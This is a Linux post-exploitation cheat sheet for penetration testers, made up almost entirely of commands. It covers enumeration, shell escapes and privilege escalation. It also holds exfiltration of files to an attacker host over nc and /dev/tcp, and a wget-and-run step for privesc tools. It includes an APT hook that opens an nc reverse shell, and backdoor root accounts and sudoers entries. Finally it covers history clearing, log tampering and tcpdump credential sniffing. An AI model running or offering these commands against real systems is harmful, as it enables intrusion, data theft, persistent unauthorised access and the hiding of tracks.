Target.Host.OS.Linux.txt

`` Initial

    `` Upgrade

        ~$ python -c "import pty; pty.spawn('/bin/bash')"
        -- Don't forget Python 3.x might available...
        ~$ python3 -c "import pty; pty.spawn('/bin/bash')"
        ~$ ^Z
        -- Print rows and cols to be used later (VAR_INTEGER)
        ~$ stty size
        ~$ stty raw -echo
        ~$ fg
        ~$ export SHELL=bash
        ~$ export TERM=linux
        ~$ stty rows VAR_INTEGER cols VAR_INTEGER

    `` History

        ~$ history -c
        ~$ unset HISTFILE && unset SAVEHIST

    `` Paths

        ~$ export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/ucb/

    `` Users

        ~$ grep -vE "nologin|false|shutdown|halt|sync" /etc/passwd
        ~$ w
        ~$ last

    `` Permissions

        ~$ id
        ~$ sudo -l
        ~$ sudo su
        ~$ su -
        ~$ sudo -i

    `` Version

        ~$ cat /etc/issue
        ~$ cat /proc/version
        ~$ cat /etc/*-release
        ~$ dmesg | grep Linux
        ~$ ls /boot | grep vmlinuz-
        ~$ rpm -q kernel
        ~$ uname -a

`` Enumeration

    `` Basic

        ~$ hostname
        ~$ cat /etc/debian_version
        ~$ cat /etc/hosts
        ~$ cat /etc/issue
        ~$ cat /etc/passwd
        ~$ cat /etc/passwd-
        ~$ cat /etc/redhat-release
        ~$ cat /etc/shadow
        ~$ cat /etc/shadow-
        ~$ cat /root/anaconda-ks.cfg
        ~$ cat /var/apache2/config.inc
        ~$ find /etc/ -readable -type f 2>/dev/null
        ~$ ps faux
        ~$ cat /etc/network/interfaces
        ~$ cat /etc/networks
        ~$ cat /etc/resolv.conf
        ~$ cat /etc/sysconfig/network
        ~$ cat /etc/hosts.allow
        ~$ cat /etc/hosts.deny
        ~$ cat /etc/inetd.conf
        ~$ arp -e
        ~$ cat /proc/net/arp
        ~$ ifconfig -a
        ~$ ip a
        ~$ ss -tun
        ~$ netstat -ntup
        ~$ route
        ~$ df -h
        ~$ cat /proc/mounts
        ~$ cat /etc/fstab
        ~$ cat /etc/exports
        ~$ dpkg -l
        ~$ rpm -qa
        ~$ ls -alh /sbin/
        ~$ ls -alh /usr/bin/
        ~$ ls -alh /var/cache/apt/archivesO
        ~$ ls -alh /var/cache/yum/
        ~$ cat /etc/crontab
        ~$ ls -al /etc/ | grep cron
        ~$ crontab -l
        ~$ grep "CRON" /var/log/syslog
        ~$ env
        ~$ cat /etc/profile
        ~$ cat /etc/bashrc
        ~$ cat ~/.*_history
        ~$ cat ~/.bash_profile
        ~$ cat ~/.bashrc
        ~$ cat ~/.bash_logout
        ~$ ls -la ~/.ssh

    `` Extended

        ~$ cat /var/lib/mysql/mysql/user.MYD
        ~$ find . -type f -name *.php -exec grep -Hnie 'pass[a-z]*' {} \; 2>/dev/null
        ~$ find . -type f -name *.rb -exec grep -Hnie 'pass[a-z]*' {} \; 2>/dev/null
        ~$ find . -type f -name *.py -exec grep -Hnie 'pass[a-z]*' {} \; 2>/dev/null
        ~$ find . -type f -name *.pl -exec grep -Hnie 'pass[a-z]*' {} \; 2>/dev/null
        ~$ find . -type f -name authorized_keys 2>/dev/null
        ~$ find . -type f -name config* 2>/dev/null
        ~$ find . -type f -name id_dsa 2>/dev/null
        ~$ find . -type f -name id_rsa 2>/dev/null
        ~$ find . -type f -name identity 2>/dev/null
        ~$ find . -type f -name *.doc* 2>/dev/null
        ~$ find . -type f -name *.key 2>/dev/null
        ~$ find . -type f -name *.keytab 2>/dev/null
        ~$ find . -type f -name *.pub 2>/dev/null
        ~$ find . -type f -name *.rar 2>/dev/null
        ~$ find . -type f -name *.sql 2>/dev/null
        ~$ find . -type f -name *.txt 2>/dev/null
        ~$ find . -type f -name *.xls* 2>/dev/null
        ~$ find . -type f -name *.zip 2>/dev/null
        ~$ find . -type f -name *.7z 2>/dev/null
        ~$ find . -type f -name .bash_history -size +1k 2>/dev/null
        ~$ grep -Irwn . -ie 'pass[a-z]*\|secret\|admin\|root\|smtp_[a-z]*\|db_[a-z]*' --color=always 2>/dev/null

        `` Combo

            ~$ find . type -f \( -name '*.7z' -o -iname '*.doc*' -o -iname '*.docx' -o -name '*id_dsa' -o -name '*id_rsa' -o -name '*.java' -o -name '*.kdbx' -o -name '*.key' -o -iname '*.php' -o -name '*.py' -o -iname '*.rar' -o -iname '*.txt' -o -iname '*.pdf' -o -iname '*.jpg' -o -iname '*.jpeg' -o -iname '*.tif' -o -iname '*.tiff' -o -iname '*.png' -o -name '*.vsd' -o -iname '*.csv' -o -iname '*.pem' -o -iname '*.crt' -o -iname '*.keytab' -o -iname '*.ppt' -o -iname '*.pptx' -o -iname '*.xls' -o -iname '*.xlss' -o -iname '*.zip' -o -iname '*.ini' \) 2>/dev/null

        `` Solaris (SunOS) example

            ~$ find . -type f -exec /usr/xpg4/bin/grep -E 'pass[a-z]*\|secret\|admin\|root\|smtp_[a-z]*\|db_[a-z]*' {} + 2>/dev/null

    `` Permissions

        `` Readable by given group in cwd

            ~$ find . -xdev -type f -group VAR_STRING -perm -g+r -exec ls -lahd {} \; 2>/dev/null

        `` Bash history readable by anyone in cwd

            ~$ find . -xdev -type f -name .bash_history -perm -o+r -exec ls -lahd {} \; 2>/dev/null

        `` World-writeable files owned by root in cwd

            ~$ find . -xdev -type f -user root -perm -o+w -exec ls -lahd {} \; 2>/dev/null

        `` World-readable files owned by root at /root

            ~$ find /root -xdev -type f -user root -perm -o+r -exec ls -lahd {} \; 2>/dev/null

        `` World-writable and executable files in cwd

            ~$ find . -xdev -type f -perm -o+w,o+x ! -type l -exec ls -lahd {} \; 2>/dev/null

        `` SUID and SGID root files in cwd

            ~$ find . -xdev -user root \( -perm -u+s -o -perm -g+s \) ! -type l -exec ls -lahd {} \; 2>/dev/null

        `` Owned by current user in cwd

            ~$ find . -xdev -type f -user $(whoami) -exec ls -lahd {} \; 2>/dev/null

        `` World-writable in cwd

            ~$ find . -xdev -perm -o+w ! -type l -exec ls -lahd {} \; 2>/dev/null

        `` World-readable logs

            ~$ find /var/log -perm -o=r ! -type l -exec ls -lahd {} \; 2>/dev/null

        `` World-writable dirs not owned by current user in cwd

            ~$ find . -type d -perm -o+w ! -perm -a+t ! -user $(whoami) -exec ls -lahd {} \; 2>/dev/null

        `` Orphaned files in cwd

            ~$ find . -xdev -o -nouser -o -nogroup -exec ls -lahd {} \; 2>/dev/null

        `` /boot permissions

            ~$ ls -lahd /boot

        `` Capabilities

            ~$ getcap -r . 2>/dev/null

`` Processes

    `` Monitoring

        @ snippets/linux/utils/ps_monitoring.sh

    `` Information

        - /proc/VAR_INTEGER/cmdline
        - /proc/VAR_INTEGER/environ
        - /proc/VAR_INTEGER/cwd
        - /proc/VAR_INTEGER/fd/[#]

`` Open ports

    ~$ timeout 3 bash -c "</dev/tcp/VAR_TARGET_HOST/VAR_TARGET_PORT &>/dev/null" && echo OPEN || echo CLOSED

`` Shell Escapes

    `` vi

        :set shell=/bin/bash:shell
        :!bash

    `` Perl

        exec "/bin/sh";
        perl -e 'exec "/bin/sh";'

    `` Lua

        !sh
        os.execute('/bin/sh')
        os.execute('cmd')

    `` Ruby

        exec "/bin/sh"

    `` Nmap

        ~$ sudo nmap --interactive
        nmap> !sh

    `` AWK

        ~$ sudo awk 'BEGIN {system("/bin/bash")}'

    `` find

        ~$ sudo find .bash_history -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
        ~$ sudo find .bash_history -exec /bin/bash -i \;

    `` sh

        ~$ /bin/sh -i

    `` PHP

        echo os.system('/bin/bash')

    `` FTP

        ~$ sudo ftp
        ! /bin/bash
        ! /bin/sh

    `` man

        ~$ sudo man man
        !bash

        ~$ man ls
        !'sh'

    `` less

        ~$ sudo less /etc/hosts
        !bash

    `` pinfo

        ~$ pinfo ls
        !

    `` lynx

        ~$ lynx --editor=/usr/bin/vim example.com

    `` elinks

        ~$ export EDITOR=/usr/bin/vim
        # Once the page opens move your cursor to the text box field, now press ENTER and then F4 keys.

    `` mutt

        !

    `` expect

        ~$ expect
        spawn sh
        sh

    `` pkexec

        ~$ /usr/bin/pkexec --user root /bin/sh

`` File transfer

    `` nc

        `` Listening for incoming transfer

            ~$ nc -lv4 VAR_ATTACKER_PORT | tar xzfv -
            ~$ tar czfv - *.log | nc VAR_ATTACKER_HOST VAR_ATTACKER_PORT

        `` Connecting to exposed port, cross-platform and OpenSSL compatible with encryption

            ~$ nc -lv4 VAR_TARGET_PORT -c 'tar -czf - VAR_FILENAME | openssl enc -e -aes-256-cbc -md md5'
            ~$ nc -v VAR_TARGET_HOST VAR_TARGET_PORT | openssl enc -d -aes-256-cbc -md md5 | tar xz

    `` ncat

        ~$ ncat -lv --ssl VAR_ATTACKER_PORT | tar xzfv -
        ~$ tar czfv - *.log | ncat -v --ssl VAR_ATTACKER_HOST VAR_ATTACKER_PORT

    `` bash

        ~$ nc -lv4 VAR_ATTACKER_PORT | base64 -d -w0 | tar xzv
        ~$ echo $(tar cz *.log | openssl base64 -A) 2>/dev/null > /dev/tcp/VAR_ATTACKER_HOST/VAR_ATTACKER_PORT

    `` /dev/tcp

        ~$ exec 3<>/dev/tcp/VAR_TARGET_HOST/80
        ~$ echo -e "GET / HTTP/1.1\r\nhost: http://VAR_TARGET_HOST\r\nConnection: close\r\n\r\n" >&3
        ~$ cat <&3

    `` Pull external goodies and run in background

        `` Goodies

            # TODO: Sources + github

        `` Manual execution

            ~$ export E_NA=pgz E_HO=http://VAR_ATTACKER_HOST:VAR_ATTACKER_PORT; wget "$E_HO/$E_NA.x" && tar xzf $E_NA.x && cd $E_NA && chmod a+x ./*

        `` Automated execution

            ~$ export E_NA=pgz E_HO=http://VAR_ATTACKER_HOST:VAR_ATTACKER_PORT; wget "$E_HO/$E_NA.x" && tar xzf $E_NA.x && cd $E_NA && chmod a+x ./* && for x in "linenum.sh -t" "linuxprivchecker.py extended" "linux-suggester.pl" "suggester.sh" "unix-privesc-check detailed"; do ./$x >> "${x:0:2}${#x}".log & done

`` Privilege escalation

    `` Password Bruteforcing

        @ snippets/linux/utils/bruteforce.sh

    `` SUID and paths

        `` Check

            ~$ objdump -x $i | grep -i path
            ~$ ptrace

        `` Exploiting

            ~$ echo "/bin/bash -i" > cat
            ~$ chmod +x ./cat
            ~$ export PATH=.:$PATH

    `` SUID and function export

        ~$ function /usr/sbin/service() { cp /bin/bash /dev/shm && chmod +s /dev/shm/bash && /dev/shm/bash -p; }
        ~$ export -f /usr/sbin/service

    `` SUID and LD_PRELOAD

        @ snippets/linux/backdoors/ld_preload.c

        ~$ sudo LD_PRELOAD=ld_preload.so binary

    `` SUID and .so injection

        @ snippets/linux/backdoors/so_injection.c

        ~$ strace binary 2>&1 | grep -i -E "open|access|no such file"

    `` Xorg

        ~$ cd /etc; Xorg -fp "toor::16431:0:99999:7:::" -logfile shadow :1;su

    `` APT

        /etc/apt/apt.conf.d/
        APT::Update::Post-Invoke{"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc VAR_ATTACKER_HOST VAR_ATTACKER_PORT >/tmp/f";};

`` Persistence

    `` Accounts

        `` useradd

            ~$ useradd --non-unique -u 0 -g 0 -m -s /bin/bash -p $(echo 'VAR_PASSWORD' | openssl passwd -1 -stdin) VAR_USERNAME

        `` /etc/passwd

            ~$ echo "VAR_USERNAME:`openssl passwd -6`:0:0:root:/root:/bin/bash" >> /etc/passwd

        `` Add to sudoers

            ~$ echo "VAR_USERNAME    ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

    `` SSH

        `` Reconnect

            @ snippets/linux/backdoors/ssh_reconnect.sh

        `` Overwrite

            ~$ debugfs -w /dev/sda1 -R "cat /root/.ssh/authorized_keys"
            ~$ debugfs /dev/sda1 -R "blocks /root/.ssh/authorized_keys"
            ~$ dd if=my_id_rsa.pub of=/dev/sda1 seek=1608806 bs=4096 count=1
            ~$ sync

    `` Scheduling

        ~$ echo -e '#!/bin/bash\necho "VAR_USERNAME ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /etc/cron.hourly/test
        ~$ chmod +x /etc/cron.hourly/test

    `` Policykit CVE-2018-19788 (pre 2018/12)

        ~$ systemctl --version
            systemd 239
        ~# useradd -u 4000000000
        ~$ systemd-run -t /bin/bash

    `` SUID

        @ snippets/linux/backdoors/suid_popen.c

`` House cleaning

    `` Logs

        - /var/run/utmp
        - /var/log/wtmp
        - /var/log/btmp
        - /var/log/lastlog
        - /var/log/auth.log
        - /var/log/secure
        - /var/log/messages
        - /var/log/apache2/access.log
        - /var/log/apache2/error.log
        - /etc/syslog.conf

    `` Shredding

        ~$ shred -zu file

    `` Search for IP

        ~$ grep -Rl VAR_TARGET_HOST / 2>/dev/null

`` Backdoors

    `` Execute shell commands over UDP

        -- Useful for injecting into shell-based cron jobs
        @ snippets/linux/shells/bind/udp.sh

`` Networking

    `` Bandwidth

        ~$ iftop -i tap0 -f "host VAR_TARGET_HOST"

        ~$ iptables -I INPUT 1 -s VAR_TARGET_HOST -j ACCEPT
        ~$ iptables -I OUTPUT 1 -d VAR_TARGET_HOST -j ACCEPT
        ~$ iptables -Z
        ~$ iptables -vn -L OUTPUT | grep VAR_TARGET_HOST
        ~$ iptables -Z

    `` Services

        ~$ lsof -i -n | egrep 'COMMAND|LISTEN'
        ~$ netstat -ntup
        ~$ ss -ltup

    `` Sniffing

        `` Generic

            ~$ tcpdump -i any -vvv -XX -n -w dump.cap src not VAR_ATTACKER_HOST and (dst port 80 or dst port 443)
            ~$ tcpdump -i any -vvv -XX -n -w dump.cap src net VAR_TARGET_CIDR and port not 22

        `` New connections only

            ~$ tcpdump -vvv -XX -i any "tcp[tcpflags] & (tcp-syn) != 0" and net VAR_TARGET_CIDR

        `` HTTP GET and POST packets and interesting data

            ~$ tcpdump -i any -A -v -n -l | egrep -i "POST /|GET /|Host:|pwd=|passwd=|password=|Set-Cookie|Cookie:"

        `` Plaintext passwords

            ~$ tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -l -A | egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user '

`` Dirtycow stability

    ~$ echo 0 > /proc/sys/vm/dirty_writeback_centisecs

`` Dirty tricks

    `` SSH

        alias ssh='ssh -o ControlMaster=yes -o ControlPath=/tmp/%r@%h:%p -o ControlPersist=yes $1'